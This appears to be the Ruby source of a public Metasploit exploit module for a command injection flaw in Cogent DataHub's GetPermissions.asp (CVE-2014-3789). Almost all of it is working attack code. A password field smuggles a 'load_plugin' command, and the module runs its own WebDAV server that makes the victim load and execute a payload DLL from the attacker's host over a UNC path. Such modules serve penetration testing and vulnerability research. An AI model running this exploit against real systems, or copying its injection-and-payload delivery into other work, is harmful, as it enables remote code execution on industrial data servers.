Path: blob/master/modules/exploits/windows/http/cogent_datahub_command.rb
19512 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6# Exploitation is reliable, but the service hangs and needs manual restarting.7Rank = ManualRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::Remote::HttpServer::HTML11include Msf::Exploit::EXE1213def initialize14super(15'Name' => 'Cogent DataHub Command Injection',16'Description' => %q{17This module exploits an injection vulnerability in Cogent DataHub prior18to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which19makes insecure use of the datahub_command function with user controlled20data, allowing execution of arbitrary datahub commands and scripts. This21module has been tested successfully with Cogent DataHub 7.3.4 on22Windows 7 SP1. Please also note that after exploitation, the remote service23will most likely hang and restart manually.24},25'Author' => [26'John Leitch', # Vulnerability discovery27'juan vazquez' # Metasploit module28],29'Platform' => 'win',30'References' => [31['ZDI', '14-136'],32['CVE', '2014-3789'],33['BID', '67486']34],35'Stance' => Msf::Exploit::Stance::Aggressive,36'DefaultOptions' => {37'WfsDelay' => 30,38'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'39},40'Targets' => [41[ 'Cogent DataHub < 7.3.5', {} ],42],43'DefaultTarget' => 0,44'DisclosureDate' => 'Apr 29 2014'45)46register_options(47[48OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']),49OptPort.new('SRVPORT', [ true, 'The daemon port to listen on (do not change)', 80 ]),50OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will wait for the payload request', 20]),51OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])52]53)54end5556def autofilter57false58end5960def on_request_uri(cli, request)61case request.method62when 'OPTIONS'63process_options(cli, request)64when 'PROPFIND'65process_propfind(cli, request)66when 'GET'67process_get(cli, request)68else69vprint_status("#{request.method} => 404 (#{request.uri})")70resp = create_response(404, "Not Found")71resp.body = ""72resp['Content-Type'] = 'text/html'73cli.send_response(resp)74end75end7677def process_get(cli, request)78if blacklisted_path?(request.uri)79vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")80resp = create_response(404, "Not Found")81resp.body = ""82cli.send_response(resp)83return84end8586if request.uri.include?(@basename)87print_status("GET => Payload")88return if ((p = regenerate_payload(cli)) == nil)8990data = generate_payload_dll({ :code => p.encoded })91send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })92return93end9495# Treat index.html specially96if (request.uri[-1, 1] == "/" or request.uri =~ /index\.html?$/i)97vprint_status("GET => REDIRECT (#{request.uri})")98resp = create_response(200, "OK")99100resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=|101resp.body += %Q|#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|102resp['Content-Type'] = 'text/html'103cli.send_response(resp)104return105end106107# Anything else is probably a request for a data file...108vprint_status("GET => DATA (#{request.uri})")109data = rand_text_alpha(4 + rand(4))110send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })111end112113#114# OPTIONS requests sent by the WebDav Mini-Redirector115#116def process_options(cli, request)117vprint_status("OPTIONS #{request.uri}")118headers = {119'MS-Author-Via' => 'DAV',120'DASL' => '<DAV:sql>',121'DAV' => '1, 2',122'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' +123+ ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',124'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' +125+ 'LOCK, UNLOCK',126'Cache-Control' => 'private'127}128resp = create_response(207, "Multi-Status")129headers.each_pair { |k, v| resp[k] = v }130resp.body = ""131resp['Content-Type'] = 'text/xml'132cli.send_response(resp)133end134135#136# PROPFIND requests sent by the WebDav Mini-Redirector137#138def process_propfind(cli, request)139path = request.uri140vprint_status("PROPFIND #{path}")141142if path !~ /\/$/143144if blacklisted_path?(path)145vprint_status "PROPFIND => 404 (#{path})"146resp = create_response(404, "Not Found")147resp.body = ""148cli.send_response(resp)149return150end151152if path.index(".")153vprint_status "PROPFIND => 207 File (#{path})"154body = %Q|<?xml version="1.0" encoding="utf-8"?>155<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">156<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">157<D:href>#{path}</D:href>158<D:propstat>159<D:prop>160<lp1:resourcetype/>161<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>162<lp1:getcontentlength>#{rand(0x100000) + 128000}</lp1:getcontentlength>163<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>164<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>165<lp2:executable>T</lp2:executable>166<D:supportedlock>167<D:lockentry>168<D:lockscope><D:exclusive/></D:lockscope>169<D:locktype><D:write/></D:locktype>170</D:lockentry>171<D:lockentry>172<D:lockscope><D:shared/></D:lockscope>173<D:locktype><D:write/></D:locktype>174</D:lockentry>175</D:supportedlock>176<D:lockdiscovery/>177<D:getcontenttype>application/octet-stream</D:getcontenttype>178</D:prop>179<D:status>HTTP/1.1 200 OK</D:status>180</D:propstat>181</D:response>182</D:multistatus>183|184# send the response185resp = create_response(207, "Multi-Status")186resp.body = body187resp['Content-Type'] = 'text/xml; charset="utf8"'188cli.send_response(resp)189return190else191vprint_status "PROPFIND => 301 (#{path})"192resp = create_response(301, "Moved")193resp["Location"] = path + "/"194resp['Content-Type'] = 'text/html'195cli.send_response(resp)196return197end198end199200vprint_status "PROPFIND => 207 Directory (#{path})"201body = %Q|<?xml version="1.0" encoding="utf-8"?>202<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">203<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">204<D:href>#{path}</D:href>205<D:propstat>206<D:prop>207<lp1:resourcetype><D:collection/></lp1:resourcetype>208<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>209<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>210<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>211<D:supportedlock>212<D:lockentry>213<D:lockscope><D:exclusive/></D:lockscope>214<D:locktype><D:write/></D:locktype>215</D:lockentry>216<D:lockentry>217<D:lockscope><D:shared/></D:lockscope>218<D:locktype><D:write/></D:locktype>219</D:lockentry>220</D:supportedlock>221<D:lockdiscovery/>222<D:getcontenttype>httpd/unix-directory</D:getcontenttype>223</D:prop>224<D:status>HTTP/1.1 200 OK</D:status>225</D:propstat>226</D:response>227|228229if request["Depth"].to_i > 0230trail = path.split("/")231trail.shift232case trail.length233when 0234body << generate_shares(path)235when 1236body << generate_files(path)237end238else239vprint_status "PROPFIND => 207 Top-Level Directory"240end241242body << "</D:multistatus>"243244body.gsub!(/\t/, '')245246# send the response247resp = create_response(207, "Multi-Status")248resp.body = body249resp['Content-Type'] = 'text/xml; charset="utf8"'250cli.send_response(resp)251end252253def generate_shares(path)254share_name = @share_name255%Q|256<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">257<D:href>#{path}#{share_name}/</D:href>258<D:propstat>259<D:prop>260<lp1:resourcetype><D:collection/></lp1:resourcetype>261<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>262<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>263<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>264<D:supportedlock>265<D:lockentry>266<D:lockscope><D:exclusive/></D:lockscope>267<D:locktype><D:write/></D:locktype>268</D:lockentry>269<D:lockentry>270<D:lockscope><D:shared/></D:lockscope>271<D:locktype><D:write/></D:locktype>272</D:lockentry>273</D:supportedlock>274<D:lockdiscovery/>275<D:getcontenttype>httpd/unix-directory</D:getcontenttype>276</D:prop>277<D:status>HTTP/1.1 200 OK</D:status>278</D:propstat>279</D:response>280|281end282283def generate_files(path)284trail = path.split("/")285return "" if trail.length < 2286287base = @basename288exts = @extensions.gsub(",", " ").split(/\s+/)289files = ""290exts.each do |ext|291files << %Q|292<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">293<D:href>#{path}#{base}.#{ext}</D:href>294<D:propstat>295<D:prop>296<lp1:resourcetype/>297<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>298<lp1:getcontentlength>#{rand(0x10000) + 120}</lp1:getcontentlength>299<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>300<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>301<lp2:executable>T</lp2:executable>302<D:supportedlock>303<D:lockentry>304<D:lockscope><D:exclusive/></D:lockscope>305<D:locktype><D:write/></D:locktype>306</D:lockentry>307<D:lockentry>308<D:lockscope><D:shared/></D:lockscope>309<D:locktype><D:write/></D:locktype>310</D:lockentry>311</D:supportedlock>312<D:lockdiscovery/>313<D:getcontenttype>application/octet-stream</D:getcontenttype>314</D:prop>315<D:status>HTTP/1.1 200 OK</D:status>316<D:ishidden b:dt="boolean">1</D:ishidden>317</D:propstat>318</D:response>319|320end321322files323end324325def gen_timestamp(ttype = nil)326::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")327end328329def gen_datestamp(ttype = nil)330::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")331end332333# This method rejects requests that are known to break exploitation334def blacklisted_path?(uri)335share_path = "/#{@share_name}"336payload_path = "#{share_path}/#{@basename}.dll"337case uri338when payload_path339return false340when share_path341return false342else343return true344end345end346347def check348res = send_request_cgi({349'method' => 'POST',350'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),351'vars_post' =>352{353'username' => rand_text_alpha(4 + rand(4)),354'password' => rand_text_alpha(4 + rand(4))355}356})357358if res && res.code == 200 && res.body =~ /PermissionRecord/359return Exploit::CheckCode::Detected360end361362Exploit::CheckCode::Safe363end364365def send_injection(dll)366res = send_request_cgi({367'method' => 'POST',368'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),369'vars_post' =>370{371'username' => rand_text_alpha(3 + rand(3)),372'password' => "#{rand_text_alpha(3 + rand(3))}\")" +373"(load_plugin \"#{dll}\" 1)(\""374}375}, 1)376377res378end379380def on_new_session(session)381if service382service.stop383end384385super386end387388def primer389print_status("Sending injection...")390res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll")391if res392print_error("Unexpected answer")393end394end395396def exploit397if datastore['UNCPATH'].blank?398@basename = rand_text_alpha(3)399@share_name = rand_text_alpha(3)400@extensions = "dll"401@system_commands_file = rand_text_alpha_lower(4)402403if (datastore['SRVHOST'] == '0.0.0.0')404@myhost = Rex::Socket.source_address('50.50.50.50')405else406@myhost = datastore['SRVHOST']407end408409@exploit_unc = "\\\\#{@myhost}\\"410411if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'412fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')413end414415print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" +416"\\#{@basename}.dll")417418begin419# The Windows Webclient needs some time...420Timeout.timeout(datastore['WEBDAV_DELAY']) { super }421rescue ::Timeout::Error422service.stop if service423end424else425# Using external SMB Server426if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/427host = $1428share_name = $2429dll_name = $3430print_status("Sending injection...")431res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}")432if res433print_error("Unexpected answer")434end435else436fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be \\\\host\\shared_folder\\base_name.dll')437end438end439end440end441442443